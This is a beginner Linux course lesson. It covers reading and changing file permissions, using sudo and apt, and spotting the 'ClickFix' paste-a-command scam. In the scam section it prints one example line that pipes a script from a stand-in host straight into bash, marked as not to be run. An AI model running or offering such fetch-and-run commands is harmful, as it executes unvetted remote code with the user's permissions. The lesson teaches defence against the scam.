Lesson 5 of 725 minutesHands-on

Users, permissions and sudo

Linux was built for many people sharing one computer, so every file records who owns it and who’s allowed to do what. That’s why you’ll sometimes see “Permission denied”, and it’s a big part of why ordinary mistakes stay small. In this lesson you’ll read permissions, change them, and use sudo to do something as the administrator. You’ll also learn about a scam that targets exactly the skill you’re building.

In this lesson

Read the permissions in a file listing
Change them with chmod, and fix “Permission denied”
Use sudo carefully, install software, and spot a dangerous paste

You’ll need: the practice folder. The sudo steps need your Linux password, the one you chose in Lesson 1. On a Mac it’s your login password, and your account has to be an administrator.

Reading permissions

Go to your practice folder and look at a file:

cd ~/practice

ls -l access.log

-rw-r--r-- 1 sam sam 388 Nov  1 09:25 access.log

That first block of ten characters is the permissions. Ignore the very first one, which you met in Lesson 2. The other nine are three sets of three, each answering the same question for a different group of people:

Characters	Who	Here it means
`rw-`	The owner (sam)	Can read and change it
`r--`	The file’s group	Can only read it
`r--`	Everyone else	Can only read it

In each set, r means read, w means write, x means run it as a program (or, for a folder, go into it), and - means not allowed.

Try it yourself · part 1

Fix a “Permission denied”

Make a tiny script, which is a text file containing commands, then try to run it. ./ means “in this folder”:
echo "echo it works" > hello.sh
./hello.sh
It refuses, with Permission denied. Text files aren’t allowed to run as programs by default.
Add the x permission with chmod, short for “change mode”, and look at what changed:
chmod +x hello.sh
ls -l hello.sh
```
-rwxr-xr-x 1 sam sam 14 Nov  1 09:25 hello.sh
```
Run it again:
./hello.sh
```
it works
```

The numbers version

You’ll often see permissions as three digits, like chmod 600. Each digit is one group (owner, group, everyone else), made by adding: read is 4, write is 2, and run is 1.

Number	Letters	Typical use
644	`rw-r--r--`	Normal files: you can edit, others can read
755	`rwxr-xr-x`	Programs and folders
600	`rw-------`	Private files, such as anything holding a password or a key: only you

Try it yourself · part 2

Make a file private

Lock the log so that only you can read it, then check:
chmod 600 access.log
ls -l access.log
```
-rw------- 1 sam sam 388 Nov  1 09:25 access.log
```
Put it back:
chmod 644 access.log

One warning: never “fix” a problem with chmod 777, which you’ll see suggested online. It lets every user on the system change and run that file. Work out who actually needs access instead.

Root and sudo

One special user, root, can do anything to any file. Normal work happens as your own user, so a mistake or a bad program is limited to your own files. When you really need more power for one command, you put sudo in front of it.

Try it yourself · part 3

See the wall, then go through it

Your system keeps its password data in /etc/shadow (it’s scrambled, not plain text, and Macs keep theirs elsewhere). Look at who may read it, then try:
ls -l /etc/shadow
cat /etc/shadow
```
-rw-r----- 1 root shadow 797 May 29 19:21 /etc/shadow
cat: /etc/shadow: Permission denied
```
Now ask who you are under sudo. It asks for your password. On some systems nothing appears as you type it, and on others you’ll see asterisks. Both are normal.
sudo whoami
```
root
```
On Ubuntu and WSL, software comes from a trusted store through apt, and installing it changes the whole system, so it needs sudo. Refresh the list of what’s available and then install a small tool (Mac users can skip this: macOS doesn’t have apt):
sudo apt update
sudo apt install tree
If it asks whether to continue, press Y and then Enter. Then run your new tool:
tree ~/practice

Your folder will now be drawn as a tree, something like this:

/home/sam/practice
├── access.log
├── errors.txt
├── hello.sh
├── notes
│   └── todo.txt
└── photos
    └── plans.txt

3 directories, 5 files

To install the security updates for everything you have, run sudo apt update and then sudo apt upgrade. Do it regularly.

The scam that targets this skill

Now that you can run commands, someone will try to get you to run theirs. Security researchers call this ClickFix: a fake error message, a fake “verify you’re human” page, or a helpful-looking fix on a blog tells you to paste a command into your terminal. You do the rest for them, because the command downloads and runs their program with your permissions. Microsoft has documented the technique, along with campaigns aimed at Mac users that steal passwords and other saved data.

Here’s the shape to watch for. Don’t run this, it’s only an example:

curl -s https://fix-your-error.example/install | bash

That downloads text from a website and pipes it straight into a shell, so you run it without ever seeing it. Some honest software installs this way too, which is why the rule isn’t about the command but about the source.

A website, a pop-up or a stranger asking you to paste a command is the warning sign. A “verify you’re human” check never needs your terminal.
Read before you run. If you can’t say what each part does, don’t run it. Be especially wary of sudo, of long scrambled text, and of the word base64.
Look before you pipe. For a script you do trust, download it to a file and read it first with less, then run it.
Prefer the official store. apt is safer than a script from a search result.

For more on how these tricks work on you, see How Scams Hook You.

Key takeaways

Permissions come in three sets: owner, group, everyone else, each with read, write and run.
“Permission denied” on your own script usually needs chmod +x.
Use 600 for private files, and don’t use 777 to make an error go away.
sudo runs one command as root, so read it first.
A website telling you to paste a command is a classic scam, known as ClickFix.

Check yourself

Three questions. Pick one answer each and you’ll see why.

1. A file shows -rw-r-----. Who can read it?

The owner has rw-, the group has r-- and everyone else has ---. So the owner can read and change it, the group can read it, and others get nothing.

2. You get “Permission denied” running a script you just wrote, and a forum says to use chmod 777. What’s the better fix?

3. A page says “Press these keys and paste this command to verify you’re human.” What should you do?

Next you’ll use the terminal to look at your own network, including a small web server of your own.

This lesson is part of the free course Linux and the Command Line, licensed under CC BY-NC-SA 4.0: you may share and adapt it for non-commercial use, with credit to ExamineIP and a link to the original.